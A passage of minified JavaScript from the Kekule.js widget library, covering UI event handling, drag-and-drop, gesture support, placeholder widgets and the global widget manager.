e.__$kekule_widget__}catch(e){}this.elementUnbound(e),this.invokeEvent("unbind",{widget:this,element:e})}},doUnbindElement:function(e){},elementUnbound:function(e){},elementChanged:function(e,t){t&&this.unbindElement(t),e&&this.bindElement(e)},getDefaultTabIndex:function(){return this.doGetDefaultTabIndex()},doGetDefaultTabIndex:function(){return 0},observeElementAttribChangesChanged:function(e){var t=this.getElement();e?this._installAttribMutationObserver(t):this._uninstallAttribMutationObserver(t)},_installAttribMutationObserver:function(e){if(Kekule.X.MutationObserver){if(!this._attribMutationObserver){var t=new Kekule.X.MutationObserver(this._reactElemAttribMutationBind);this._attribMutationObserver=t}this._attribMutationObserver.observe(e,{attributes:!0})}},_uninstallAttribMutationObserver:function(e){this._attribMutationObserver&&this._attribMutationObserver.disconnect()},_reactElemAttribMutation:function(e){for(var t=this.getElement(),i=this.getCoreElement(),n=0,s=e.length;n<s;++n){var r=e[n];if("attributes"===r.type&&(r.target===t||r.target===i)){var a=r.attributeName;if(a)if("style"===a.toLowerCase())this.notifyStyleAttribChanged(r.target);else if(Kekule.DomUtils.isDataAttribName(a)){var o=Kekule.DomUtils.getDataAttribCoreName(a);if(o){var l=t.getAttribute(a);Kekule.Widget.Utils.setWidgetPropFromElemAttrib(this,o,l)}}}}},notifyStyleAttribChanged:function(e){},createDecorationContent:function(e,n){var s=e.ownerDocument.createElement("span");return t.addClass(s,[i.PART_CONTENT,i.PART_DECORATION_CONTENT,i.DYN_CREATED]),n?e.insertBefore(s,n):e.appendChild(s),s},createTextContent:function(e,n,s){var r=n.ownerDocument.createElement("span");return t.addClass(r,[i.PART_CONTENT,i.PART_TEXT_CONTENT,i.DYN_CREATED]),r.innerHTML=e,s?n.insertBefore(r,s):n.appendChild(r),r},createGlyphContent:function(e,n,s){var r=e.ownerDocument.createElement("span");return t.addClass(r,[i.PART_CONTENT,i.PART_GLYPH_CONTENT,i.DYN_CREATED]),s&&t.addClass(r,s),n?e.insertBefore(r,n):e.appendChild(r),r},_touchActionNoneTouchStartHandler:function(e){e.preventDefault()},installUiEventHandlers:function(e){for(var t=Kekule.Widget.UiLocalEvents,i=0,n=t.length;i<n;++i)Kekule.X.Event.addListener(e,t[i],this.reactUiEventBind)},uninstallUiEventHandlers:function(e){for(var t=Kekule.Widget.UiLocalEvents,i=0,n=t.length;i<n;++i)Kekule.X.Event.removeListener(e,t[i],this.reactUiEventBind)},registerHtmlEventResponser:function(e){return this.getHtmlEventDispatcher().registerResponser(e),this},unregisterHtmlEventResponser:function(e){return this.getHtmlEventDispatcher().unregisterResponser(e),this},addHtmlEventResponser:function(e,t,i){return this.getHtmlEventDispatcher().addResponser(e,t,i)},reactUiEvent:function(e){if(this.getStatic());else if(this.getEnabled()){var t,i=!1,n=e.getType(),s=e.getTarget(),r=Kekule.Widget.Utils.getBelongedResponsiveWidget(s)===this,a=Kekule.X.Event.KeyCode;if("mousemove"===n||"pointermove"===n){this.reactPointerMoving(e);var o=this.getEventMouseRelCoord(e),l=this.testMouseCursor(o,e);Kekule.ObjUtils.notUnset(l)&&this.getElement()&&(this.setCursor(l),i=!0)}else if("touchmove"===n){if(this.reactPointerMoving(e),this.getIsActive()&&!this.isCaptureMouse()){var u=e.touches[0];if(u){var d=this.getDocument().elementFromPoint(u.clientX,u.clientY);Kekule.DomUtils.isOrIsDescendantOf(d,this.getElement())||(this.setIsHover(!1),this.setIsActive(!1))}else this.setIsHover(!1),this.setIsActive(!1)}i=!0}else if("focus"===n)r&&e.getTarget()===this.getCoreElement()&&(this.setIsFocused(!0),i=!0);else if("blur"===n){if(r&&e.getTarget()==this.getCoreElement()){var h=this.getDocument().activeElement,g=this.getElement();h&&(Kekule.DomUtils.isDescendantOf(h,g)||h===g)||this.setIsFocused(!1),i=!0}}else if("pointerover"===n)"touch"===e.pointerType||e.ghostMouseEvent||this.setIsHover(!0),i=!0;else if("mouseout"===n||"touchleave"===n){if(!e.ghostMouseEvent){var c=e.getRelatedTarget();c&&Kekule.DomUtils.isOrIsDescendantOf(c,this.getCoreElement())||(this.setIsHover(!1),this.isCaptureMouse()||(this.reactDeactiviting(e),i=!0))}}else"pointerdown"===n&&e.getButton()===Kekule.X.Event.MouseButton.LEFT?(r&&!e.ghostMouseEvent&&this.reactActiviting(e),i=!0):"pointerup"===n&&e.getButton()===Kekule.X.Event.MouseButton.LEFT||"touchcancel"===n?(r&&!e.ghostMouseEvent&&this.reactDeactiviting(e),i=!0):"keydown"===n?(t=e.getKeyCode())!==a.ENTER&&t!==a.SPACE||(r&&!this.getIsActive()&&this.reactActiviting(e),i=!0):"keyup"===n&&((t=e.getKeyCode())!==a.ENTER&&t!==a.SPACE||(r&&this.getIsActive()&&this.reactDeactiviting(e),i=!0));this.doBeforeDispatchUiEvent(e);var p=Kekule.Widget.getEventHandleFuncName(e.getType());i=this[p]?this[p](e):this.dispatchEventToIaControllers(e)||i,this.getHtmlEventDispatcher().dispatch(e),this.doReactUiEvent(e),this.invokeEvent(n,{htmlEvent:e})}else e.stopPropagation();if(this.getActualBubbleUiEvents()&&!e.cancelBubble){var E=this.getParent();E&&E.reactUiEvent&&E.reactUiEvent(e)}},doReactUiEvent:function(e){},doBeforeDispatchUiEvent:function(e){},_supportGestureEvent:function(){return void 0!==Kekule.$jsRoot.Hammer&&Kekule.$jsRoot.document&&Kekule.$jsRoot.document.addEventListener},startObservingGestureEvents:function(t){if(this._supportGestureEvent()){t||(t=Kekule.Widget.TouchGestures);var i=e.exclude(t,this.getObservingGestureEvents()||[]);i.length&&this.installHammerTouchHandlers(i)}},stopObservingGestureEvents:function(t){if(this._supportGestureEvent()&&this.getObservingGestureEvents()){t||(t=Kekule.Widget.TouchGestures);var i=e.intersect(t,this.getObservingGestureEvents());i.length&&this.uninstallHammerTouchHandlers(i)}},installHammerTouchHandlers:function(e){if(this._supportGestureEvent()){e||(e=Kekule.Widget.TouchGestures);var t=this.getCoreElement(),i=new Hammer(t);return e.indexOf("pinch")>=0&&i.get("pinch").set({enable:!0}),e.indexOf("rotate")>=0&&i.get("rotate").set({enable:!0}),i.on(e.join(" "),this.reactTouchGestureBind),this._hammertime=i,this.setPropStoreFieldValue("observingGestureEvents",e),i}},uninstallHammerTouchHandlers:function(e){this._hammertime&&(e||(e=this.getObservingGestureEvents()),this._hammertime.off(e.join(" "),this.reactTouchGestureBind))},reactTouchGesture:function(e){var t=Kekule.Widget.getTouchGestureHandleFuncName(e.getType&&e.getType()||e.type);this[t]?this[t](e):this.dispatchEventToIaControllers(e,"hammer")},reactActiviting:function(e){this.getIsActive()||(this.setIsActive(!0),this.doReactActiviting(e),this.invokeEvent("activate",{widget:this}))},doReactActiviting:function(e){},reactDeactiviting:function(e){this.getIsActive()&&(this.doReactDeactiviting(e),this.invokeEvent("deactivate",{widget:this}),this.setIsActive(!1))},doReactDeactiviting:function(e){},reactPointerMoving:function(e){this.doReactPointerMoving(e)},doReactPointerMoving:function(e){},dispatchEventToIaControllers:function(e,t){var i=!1,n=this.getActiveIaController();return n&&(i="hammer"===t?n.handleGestureEvent(e):n.handleUiEvent(e)),i||(n=this.getDefIaController())&&(i="hammer"===t?n.handerGestureEvent(e):n.handleUiEvent(e)),i},getEventMouseRelCoord:function(e,t){t||(t=this.getCoreElement());var i={x:e.getClientX(),y:e.getClientY()},n=Kekule.HtmlElementUtils.getElemPageRect(t,!0),s={x:n.left-t.scrollLeft,y:n.top-t.scrollTop};return Kekule.CoordUtils.substract(i,s)},testMouseCursor:function(e,t){var i=this.doTestMouseCursor(e,t);if(!i){var n=this.getActiveIaController();if(n){var s=n.testMouseCursor(e,t);Kekule.ObjUtils.notUnset(s)&&(i=s)}if(!i&&(n=this.getDefIaController())){s=n.testMouseCursor(e,t);Kekule.ObjUtils.notUnset(s)&&(i=s)}}return i},doTestMouseCursor:function(e,t){return null},setMouseCapture:function(e){var t=this.getGlobalManager();e?t.setMouseCaptureWidget(this):this.isCaptureMouse()&&t.setMouseCaptureWidget(null)},isCaptureMouse:function(){return this.getGlobalManager().getMouseCaptureWidget()===this},_filterDraggedDataItemByKinds:function(e,t){if(e.items){for(var i=[],n=0,s=e.items.length;n<s;++n){var r=e.items[n];t.indexOf(r.kind)>=0&&i.push(r)}return i}return null},dragStart:function(e){if(this.getDraggable()){var t=this.doDragStart(e);return this.invokeEvent("dragStart",{widget:this,dataTransfer:e.dataTransfer,startingElem:e.targetElem}),t}return!1},doDragStart:function(e,t){return!0},dragEnd:function(e){var t=this.doDragEnd(e);return this.invokeEvent("dragEnd",{widget:this,dataTransfer:e.dataTransfer,startingElem:e.targetElem}),t},doDragEnd:function(e){},acceptDragSrc:function(e){if(this.getDroppable()){var t=!0,i={widget:this,htmlEvent:e.htmlEvent,dataTransfer:e.dataTransfer,srcElem:e.srcElem,srcWidget:e.srcWidget,srcFiles:e.dataTransfer&&e.dataTransfer.files};if(this.invokeEvent("dragAcceptQuery",i),Kekule.ObjUtils.notUnset(i.result))return t=i.result;var n=this.getDroppableDataKinds();return n&&(e.dataTransfer.items?t=!!this._filterDraggedDataItemByKinds(e.dataTransfer,n).length:n.indexOf("file")>=0&&e.dataTransfer.files&&e.dataTransfer.files.length&&(t=!0)),t&&this.doAcceptDragSrc(e)}return!1},doAcceptDragSrc:function(e){return!0},dragOver:function(e){if(this.getDroppable()&&this.acceptDragSrc(e)){var t=this.doDragOver(e);return this.invokeEvent("dragOver",{widget:this,htmlEvent:e.htmlEvent,dataTransfer:e.dataTransfer,srcElem:e.srcElem,srcWidget:e.srcWidget,srcFiles:e.dataTransfer&&e.dataTransfer.files}),t}return!1},doDragOver:function(e){return!0},dragLeave:function(e){var t=this.doDragLeave(e);return this.invokeEvent("dragLeave",{widget:this,htmlEvent:e.htmlEvent,dataTransfer:e.dataTransfer,srcElem:e.srcElem,srcWidget:e.srcWidget,srcFiles:e.dataTransfer&&e.dataTransfer.files}),t},doDragLeave:function(e){},dragDrop:function(e){if(this.getDroppable()&&this.acceptDragSrc(e)){var t=this.doDragDrop(e),i=this.getDroppableDataKinds();if(!i||i.indexOf("file")>=0){var n=e.dataTransfer.files;n&&n.length&&(t=t||this.doFileDragDrop(n))}var s={widget:this,htmlEvent:e.htmlEvent,dataTransfer:e.dataTransfer,srcElem:e.srcElem,srcWidget:e.srcWidget,srcFiles:e.dataTransfer&&e.dataTransfer.files};return this.invokeEvent("dragDrop",s),t||s._preventDefault}return!1},doDragDrop:function(e){return!1},doFileDragDrop:function(e){return!0},addIaController:function(e,t,i){this.getIaControllerMap().set(e,t),i&&this.setDefIaControllerId(e),t&&t.setWidget(this)},removeIaController:function(e){var t=this.getIaControllerMap().get(e);t&&(this.getIaControllerMap().remove(e),e===this.getDefIaControllerId()&&this.setDefIaControllerId(null),e===this.getActiveIaControllerId()&&this.setActiveIaControllerId(null),t.setWidget(null))},getIaController:function(e){return this.getIaControllerMap().get(e)},execute:function(e){this.doExecute(e),this.invokeEvent("execute",{widget:this,htmlEvent:e})},doExecute:function(e){},isPeriodicalExecuting:function(){return this._periodicalExecBind},startPeriodicalExec:function(e){var t=this.getPeriodicalExecDelay()||0;this._periodicalExecuting=!0,this._periodicalExecHtmlEvent=e,this._periodicalExecHtmlEvent.__$periodicalExecuting$__=!0,setTimeout(this._periodicalExecBind,t)},stopPeriodicalExec:function(){this._periodicalExecuting=!1,this._periodicalExecHtmlEvent=null},_periodicalExec:function(e){this.isPeriodicalExecuting()&&(this._waitPeriodicalProcess||(this._waitPeriodicalProcess=!0,this.execute(this._periodicalExecHtmlEvent),this._waitPeriodicalProcess=!1),setTimeout(this._periodicalExecBind,this.getPeriodicalExecInterval()||20))}}),Kekule.Widget.InteractionController=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.InteractionController",initialize:function(e){this.tryApplySuper("initialize"),e&&this.setWidget(e)},doFinalize:function(){this.setWidget(null),this.tryApplySuper("doFinalize")},initProperties:function(){this.defineProp("widget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1})},activated:function(e){},handleUiEvent:function(e){var t=e.getType(),i=Kekule.Widget.getEventHandleFuncName(t);return!!this[i]&&this[i](e)},handleGestureEvent:function(e){var t=e.type,i=Kekule.Widget.getEventHandleFuncName(t);return!!this[i]&&this[i](e)},_defEventHandler:function(e){return!1},testMouseCursor:function(e,t){return this.doTestMouseCursor(e,t)},doTestMouseCursor:function(e,t){return null},_getEventMouseCoord:function(e,t){var i=t||this.getWidget().getElement(),n=e.getTarget(),s=e.getOffsetCoord(!0);if(n===i)return s;var r=Kekule.HtmlElementUtils.getElemPagePos(i),a=Kekule.HtmlElementUtils.getElemPagePos(n),o={x:a.x-r.x,y:a.y-r.y};return s=Kekule.CoordUtils.substract(s,o)}}),Kekule.Widget.DumbWidget=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.DumbWidget",initialize:function(e){this.tryApplySuper("initialize",[e,!0])},doGetDefaultTabIndex:function(){return null},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.DUMB_WIDGET},doCreateRootElement:function(e){return e.createElement("span")}}),Kekule.Widget.PlaceHolder=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.PlaceHolder",initialize:function(e,t){this.setPropStoreFieldValue("targetWidgetClass",t),this.tryApplySuper("initialize",[e,!0])},initProperties:function(){this.defineProp("targetWidgetClass",{dataType:DataType.CLASS,serializable:!1,getter:function(){var e=this.getPropStoreFieldValue("targetWidgetClass");if(!e){var t=this.getPropStoreFieldValue("targetWidgetClassName");t&&(e=ClassEx.findClass(t))}return e}}),this.defineProp("targetWidgetClassName",{dataType:DataType.STRING,getter:function(){var e=this.getTargetWidgetClass();return e?ClassEx.getClassName(e):this.getPropStoreFieldValue("targetWidgetClassName")},setter:function(e){this.setPropStoreFieldValue("targetWidgetClassName",e),this.setTargetWidgetClass(ClassEx.findClass(e))}}),this.defineProp("target",{dataType:DataType.STRING,getter:function(){return this.getTargetWidgetClassName()},setter:function(e){this.setTargetWidgetClassName(e)}}),this.defineProp("targetWidget",{dataType:"Kekule.Widget.BaseWidget",serializable:"false",setter:null,getter:function(){var e=this.getPropStoreFieldValue("targetWidget");return e||(e=this.createTargetWidget()),e}})},doGetWidgetClassName:function(){var e=this.tryApplySuper("doGetWidgetClassName")+" "+i.PLACEHOLDER,t=this.getTargetWidgetClass();if(t){var n=ClassEx.getPrototype(t).getWidgetClassName();e=Kekule.StrUtils.addTokens(e,n)}return e},doCreateRootElement:function(e){return e.createElement("img")},doReactUiEvent:function(e){this.createTargetWidget()},createTargetWidget:function(){var t=this.getTargetWidgetClass();if(t){try{var i=this.getElement(),n=this.getParent();n&&n instanceof Kekule.Widget.PlaceHolder&&(n=n.createTargetWidget());var s=e.clone(this.getChildWidgets());this.unbindElement(this.getElement()),this.setPropStoreFieldValue("element",null);var r=new t(i);if(r){if(n){var a=this.getNextSibling();this.setParent(null),r.setPropStoreFieldValue("parent",n),n._insertChild(r,a)}if(s)for(var o=0,l=s.length;o<l;++o)s[o].setParent(r)}}finally{this.finalize()}return r}Kekule.error(Kekule.$L("ErrorMsg.WIDGET_UNAVAILABLE_FOR_PLACEHOLDER"))}}),Kekule.Widget.Utils={getWidgetOnElem:function(e,t){var i=e.__$kekule_widget__;return!t&&i instanceof Kekule.Widget.PlaceHolder&&(i=i.getTargetWidget()),i},getWidgetsInsideElem:function(e,t){var i,n=Kekule.Widget.Utils.getWidgetOnElem(e);if(n){if(i=[n],!t)return i}else i=[];for(var s=Kekule.DomUtils.getDirectChildElems(e),r=0,a=s.length;r<a;++r){var o=s[r],l=Kekule.Widget.Utils.getWidgetsInsideElem(o,t);i=i.concat(l)}return i},getWidgetById:function(e,t){t||(t=Kekule.$jsRoot.document);var i=t.getElementById(e);return i?Kekule.Widget.Utils.getWidgetOnElem(i):void 0},getBelongedWidget:function(e){for(var t=null;e&&!t;)t=Kekule.Widget.Utils.getWidgetOnElem(e),e=e.parentNode;return t},getBelongedResponsiveWidget:function(e){for(var t=null;e&&!t;)(t=Kekule.Widget.Utils.getWidgetOnElem(e))&&t.getStatic()&&(t=null),e=e.parentNode;return t},createFromHash:function(e,t){var i=t.widgetClass||t.widget;if("string"==typeof i&&(i=ClassEx.findClass(i)),!i)return Kekule.error(Kekule.$L("ErrorMsg.WIDGET_CLASS_NOT_FOUND")),null;for(var n=new i(e),s=Kekule.ObjUtils.getOwnedFieldNames(t,!0),r=0,a=(s=Kekule.ArrayUtils.exclude(s,["widget","widgetClass","htmlClass","children"])).length;r<a;++r){var o=s[r],l=t[o];if(o.startsWith("#")&&DataType.isFunctionValue(l)){var u=o.substr(1);n.addEventListener(u,l)}else n.hasProperty(o)&&n.setPropValue(o,l)}if(t.htmlClass&&n.addClassName(t.htmlClass,!0),t.children){var d=t.children;if(DataType.isArrayValue(d))for(r=0,a=d.length;r<a;++r){var h=d[r],g=Kekule.Widget.Utils.createFromHash(n,h);g&&g.appendToWidget(n)}}return n},setWidgetPropFromElemAttrib:function(e,t,i){var n=t.camelize(),s=e.getPropertyDataType(n);if(s||(t.startsWith("data-")&&(n=t.substr(5).camelize(),s=e.getPropertyDataType(n)),s))if(s===DataType.STRING)e.setPropValue(n,i);else if(Kekule.PredefinedResReferer.isResValue(i))Kekule.PredefinedResReferer.loadResource(i,function(t,i){e.loadPredefinedResDataToProp&&e.loadPredefinedResDataToProp(n,t,i)},null,e.getDocument());else if(i&&i.startsWith("#")&&ClassEx.isOrIsDescendantOf(ClassEx.findClass(s),Kekule.Widget.BaseWidget)){var r=i.substr(1).trim();Kekule.Widget.Utils._setWidgetRefPropFromId(e,n,r)}else{var a=JSON.parse(i);if(Kekule.ObjUtils.notUnset(a)){var o=Class.ObjSerializerFactory.getSerializer("json").load(null,a);e.setPropValue(n,o)}}},_setWidgetRefPropFromId:function(e,t,i){if(i){var n=Kekule.Widget.getWidgetById(i,e.getDocument());n&&e.setPropValue(t,n)}},getGlobalManager:function(e){var t=e||Kekule.$document,i=t&&Kekule.DocumentUtils.getDefaultView(t),n=i&&i.Kekule;return n||(n=Kekule),n.Widget.globalManager},getThemeUrl:function(e){var t=null;e||(e="default");var i=Kekule.getScriptPath();i&&(t=i+((Kekule.isUsingMinJs()?"themes/":"widgets/themes/")+e)+"/kekule.css");return t}},Kekule.Widget.getWidgetOnElem=Kekule.Widget.Utils.getWidgetOnElem,Kekule.Widget.getWidgetById=Kekule.Widget.Utils.getWidgetById,Kekule.$W=Kekule.Widget.Utils.getWidgetById,Kekule.Widget.getBelongedWidget=Kekule.Widget.Utils.getBelongedWidget,Kekule.Widget.createFromHash=Kekule.Widget.Utils.createFromHash,Kekule.Widget.BaseEventsReceiver=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.BaseEventsReceiver",initialize:function(e,t){this._document=e||Kekule.$jsRoot.document,this._eventRootObj=t||this._document.documentElement,this.reactUiEventBind=this.reactUiEvent.bind(this),this.reactDomNodeInsertEventBind=this.reactDomNodeInsertEvent.bind(this),this.reactDomNodeRemoveEventBind=this.reactDomNodeRemoveEvent.bind(this),this.tryApplySuper("initialize");var i=this;(function(){Kekule.X.domReady(i.domReadyInit.bind(i),this._document)}).defer()},finalize:function(){var e=this.getEventRootObj();e&&(this.uninstallGlobalDomMutationHandlers(e),this.uninstallGlobalEventHandlers(e)),this.tryApplySuper("finalize")},getEventRootObj:function(){return this._eventRootObj},domReadyInit:function(){var e=this.getEventRootObj();e&&(this.installGlobalEventHandlers(e),this.installGlobalDomMutationHandlers(e))},installGlobalEventHandlers:function(e){if(!this._globalEventInstalled){for(var t=Kekule.Widget.UiEvents,i=0,n=t.length;i<n;++i)"touchstart"===t[i]||"touchmove"===t[i]||"touchend"===t[i]?Kekule.X.Event.addListener(e,t[i],this.reactUiEventBind,{passive:!0}):Kekule.X.Event.addListener(e,t[i],this.reactUiEventBind);this._globalEventInstalled=!0}},uninstallGlobalEventHandlers:function(e){for(var t=Kekule.Widget.UiEvents,i=0,n=t.length;i<n;++i)Kekule.X.Event.removeListener(e,t[i],this.reactUiEventBind)},installGlobalDomMutationHandlers:function(e){var t=this;if(Kekule.X.MutationObserver&&Kekule.DomUtils.isElement(e)){var i=new Kekule.X.MutationObserver(function(e){t.reactDomMutation(e)});i.observe(e,{childList:!0,subtree:!0}),this._domMutationObserver=i}else Kekule.X.Event.addListener(e,"DOMNodeInserted",this.reactDomNodeInsertEventBind),Kekule.X.Event.addListener(e,"DOMNodeRemoved",this.reactDomNodeRemoveEventBind)},uninstallGlobalDomMutationHandlers:function(e){this._domMutationObserver&&this._domMutationObserver.disconnect(),this._reactDomNodeInserted&&Kekule.X.Event.removeListener(e,"DOMNodeInserted",this.reactDomNodeInsertEventBind),this._reactDomNodeRemoved&&Kekule.X.Event.removeListener(e,"DOMNodeRemoved",this.reactDomNodeRemoveEventBind)},reactUiEvent:function(e){},reactDomNodeInsertEvent:function(e){},reactDomNodeRemoveEvent:function(e){},reactDomMutation:function(e){}}),Kekule.Widget.GlobalManager=Class.create(Kekule.Widget.BaseEventsReceiver,{CLASS_NAME:"Kekule.Widget.GlobalManager",INFO_FIELD:"__$info__",ISOLATED_LAYER_FIELD:"__$isolated_layer__",TOPMOST_LAYER_FIELD:"__$topmost_layer__",THEME_LOADED_FIELD:"__$theme_loaded__",initialize:function(e){this._document=e||Kekule.$jsRoot.document,this._touchEventSeq=[],this._hammertime=null,this._globalSysElems=[],this.setPropStoreFieldValue("popupWidgets",[]),this.setPropStoreFieldValue("dialogWidgets",[]),this.setPropStoreFieldValue("modalWidgets",[]),this.setPropStoreFieldValue("autoResizeWidgets",[]),this.setPropStoreFieldValue("widgets",[]),this.setPropStoreFieldValue("draggingElems",[]),this.setPropStoreFieldValue("preserveWidgetList",!0),this.setPropStoreFieldValue("enableMouseEventToPointerPolyfill",!0),this.setPropStoreFieldValue("enableHammerGesture",!1),this.setPropStoreFieldValue("htmlEventDispatcher",new Kekule.Widget.HtmlEventDispatcher),this.reactTouchGestureBind=this.reactTouchGesture.bind(this),this.reactWindowResizeBind=this.reactWindowResize.bind(this),this.tryApplySuper("initialize",[this._document,this._document.documentElement])},finalize:function(){this.getHtmlEventDispatcher().finalize(),this.uninstallWindowEventHandlers(Kekule.DocumentUtils.getDefaultView(this._document)),this._hammertime=null,this.setPropStoreFieldValue("popupWidgets",null),this.setPropStoreFieldValue("widgets",null),this.setPropStoreFieldValue("draggingElems",null),this.tryApplySuper("finalize")},initProperties:function(){this.defineProp("mouseCaptureWidget",{dataType:DataType.OBJECT,serializable:!1}),this.defineProp("popupWidgets",{dataType:DataType.ARRAY,serializable:!1}),this.defineProp("dialogWidgets",{dataType:DataType.ARRAY,serializable:!1}),this.defineProp("modalWidgets",{dataType:DataType.ARRAY,serializable:!1}),this.defineProp("autoResizeWidgets",{dataType:DataType.ARRAY,serializable:!1}),this.defineProp("draggingElems",{dataType:DataType.ARRAY,serializable:!1}),this.defineProp("preserveWidgetList",{dataType:DataType.BOOL,serializable:!1,setter:function(e){this.setPropStoreFieldValue("preserveWidgetList",e),e||this.setPropStoreFieldValue("widgets",[])}}),this.defineProp("widgets",{dataType:DataType.ARRAY,serializable:!1,setter:null}),this.defineProp("currHoverWidget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1}),this.defineProp("currActiveWidget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1}),this.defineProp("currFocusedWidget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1}),this.defineProp("modalBackgroundElem",{dataType:DataType.OBJECT,serializable:!1,setter:null}),this.defineProp("enableHammerGesture",{dataType:DataType.BOOL,serializable:!1}),this.defineProp("enableMouseEventToPointerPolyfill",{dataType:DataType.BOOL,serializable:!1}),this.defineProp("htmlEventDispatcher",{dataType:"Kekule.Widget.HtmlEventDispatcher",serializable:!1,scope:Class.PropertyScope.PRIVATE,setter:null})},domReadyInit:function(){this.tryApplySuper("domReadyInit"),this.getEnableHammerGesture()&&(this._hammertime=this.installGlobalHammerTouchHandlers(this._document.body)),this.installWindowEventHandlers(Kekule.DocumentUtils.getDefaultView(this._document))},getDefaultContextRootElem:function(){return this.getDocContextRootElem()},getDocContextRootElem:function(){return this._document.body},_detectIfThemeLoaded:function(e){var t=e[this.THEME_LOADED_FIELD];if(!t){var i=e.ownerDocument.createElement("span");i.className="K-StyleSheet-Detector",i.style.visibility="hidden",e.appendChild(i),-88888==Kekule.StyleUtils.getComputedStyle(i,"z-index")?(t=!0,e[this.THEME_LOADED_FIELD]=t):t=!1,e.removeChild(i)}return t},loadTheme:function(e,t){if(e||(e=this.getDefaultContextRootElem()),!this._detectIfThemeLoaded(e)){var i=Kekule.Widget.Utils.getThemeUrl(t);Kekule.UrlUtils.extractProtocal(i)||(i=Kekule.UrlUtils.normalizePath("file:///"+i));var n=e.ownerDocument.createElement("style");n.innerHTML='@import "'+i+'"',e.appendChild(n),e[this.THEME_LOADED_FIELD]=!0}},notifyWidgetCreated:function(e){this.getPreserveWidgetList()&&this.getWidgets().push(e),this.invokeEvent("widgetCreate",{widget:e})},notifyWidgetFinalized:function(e){this.getWidgets()&&Kekule.ArrayUtils.remove(this.getWidgets(),e),this.getPopupWidgets()&&Kekule.ArrayUtils.remove(this.getPopupWidgets(),e),this.getDialogWidgets()&&Kekule.ArrayUtils.remove(this.getDialogWidgets(),e),this.getAutoResizeWidgets()&&Kekule.ArrayUtils.remove(this.getAutoResizeWidgets(),e),e===this.getCurrActiveWidget()&&this.setCurrActiveWidget(null),e===this.getCurrFocusedWidget()&&this.setCurrFocusedWidget(null),this.invokeEvent("widgetFinalize",{widget:e})},notifyWidgetHoverChanged:function(e,t){var i=this.getCurrHoverWidget();t?e!==i&&(i&&i.setIsHover(!1),this.setCurrHoverWidget(e)):i===e&&this.setCurrHoverWidget(null)},notifyWidgetActiveChanged:function(e,t){var i=this.getCurrActiveWidget();t?e!==i&&(i&&i.setIsActive(!1),this.setCurrActiveWidget(e)):i===e&&this.setCurrActiveWidget(null)},notifyWidgetFocusChanged:function(e,t){var i=this.getCurrFocusedWidget();t?e!==i&&(i&&i.setIsFocused(!1),this.setCurrFocusedWidget(e)):i===e&&this.setCurrFocusedWidget(null)},hasPopupWidgets:function(){return!!this.getPopupWidgets().length},hasDialogWidgets:function(){return!!this.getDialogWidgets().length},getBelongedResponsiveWidget:function(e){return Kekule.Widget.Utils.getBelongedResponsiveWidget(e)},notifyWidgetEventFired:function(e,t,i){var n=Object.extend({},i);n.widget=e,this.invokeEvent(t,n)},installWindowEventHandlers:function(e){Kekule.X.Event.addListener(e,"resize",this.reactWindowResizeBind)},uninstallWindowEventHandlers:function(e){Kekule.X.Event.removeListener(e,"resize",this.reactWindowResizeBind)},installGlobalHammerTouchHandlers:function(e){if(void 0!==Kekule.$jsRoot.Hammer){var t=new Hammer(e);return t.get("pinch").set({enable:!0}),t.get("rotate").set({enable:!0}),t.on(Kekule.Widget.TouchGestures.join(" "),this.reactTouchGestureBind),this._hammertime=t,t}},uninstallGlobalHammerTouchHandlers:function(e){this._hammertime&&this._hammertime.off(Kekule.Widget.TouchGestures.join(" "),this.reactTouchGestureBind)},registerHtmlEventResponser:function(e){return this.getHtmlEventDispatcher().registerResponser(e),this},unregisterHtmlEventResponser:function(e){return this.getHtmlEventDispatcher().unregisterResponser(e),this},_handleDomAddedElem:function(e){for(var t=Kekule.Widget.Utils.getWidgetsInsideElem(e,!0),i=0,n=t.length;i<n;++i){(s=t[i]).insertedToDom()}var s;(s=Kekule.Widget.Utils.getBelongedWidget(e))&&(s.getElement()===e?s.insertedToDom():s.domElemAdded(e))},_handleDomRemovedElem:function(e){for(var t=Kekule.Widget.Utils.getWidgetsInsideElem(e,!0),i=0,n=t.length;i<n;++i){(s=t[i]).removedFromDom()}var s;(s=Kekule.Widget.Utils.getBelongedWidget(e))&&s.domElemRemoved(e)},isMouseEvent:function(e){return e.startsWith("mouse")||"click"===e},isTouchEvent:function(e){return e.startsWith("touch")},isPointerEvent:function(e){return e.startsWith("pointer")},isKeyEvent:function(e){return e.startsWith("key")},mapTouchToPointerEvent:function(e){var t,i=e.getType(),n=e;if(n.pointerType="touch","touchstart"===i?t="pointerdown":"touchmove"===i?t="pointermove":"touchleave"===i?t="pointerout":"touchend"===i&&(t="pointerup"),t){n.setType(t),n.button=Kekule.X.Event.MouseButton.LEFT;var s=e.touches[0],r=["clientX","clientY","pageX","pageY","screenX","screenY"];if(s){for(var a={},o=0,l=r.length;o<l;++o){n[d=r[o]]=s[d],a[d]=s[d]}this._document;var u=this._retrieveTouchEventActualTarget(n);n.setTarget(u),this._touchPointerMapData={positionCache:a,targetCache:n.getTarget()}}else{if(this._touchPointerMapData)for(o=0,l=r.length;o<l;++o){var d;n[d=r[o]]=this._touchPointerMapData.positionCache[d]}n.setTarget(this._touchPointerMapData.targetCache)}return n}return null},_retrieveTouchEventActualTarget:function(e){var t=e.getTarget();return this._retrieveElementFromClientCoord(t,e.getClientX(),e.getClientY())},_retrieveElementFromClientCoord:function(e,t,i){var n=e;if(e.shadowRoot&&e.getRootNode){var s=e.shadowRoot;if(s.elementFromPoint){var r=s.elementFromPoint(t,i);r&&r!==e&&(n=this._retrieveElementFromClientCoord(r,t,i))}}return n},reactDomNodeInsertEvent:function(e){this.tryApplySuper("reactDomNodeInsertEvent",[e]);var t=e.getTarget();t.nodeType===Node.ELEMENT_NODE&&(this._isGlobalSysElement(t)||this._handleDomAddedElem(t))},reactDomNodeRemoveEvent:function(e){this.tryApplySuper("reactDomNodeRemoveEvent",[e]);var t=e.getTarget();t.nodeType===Node.ELEMENT_NODE&&(this._isGlobalSysElement(t)||this._handleDomRemovedElem(t))},reactDomMutation:function(e){this.tryApplySuper("reactDomMutation",[e]);for(var 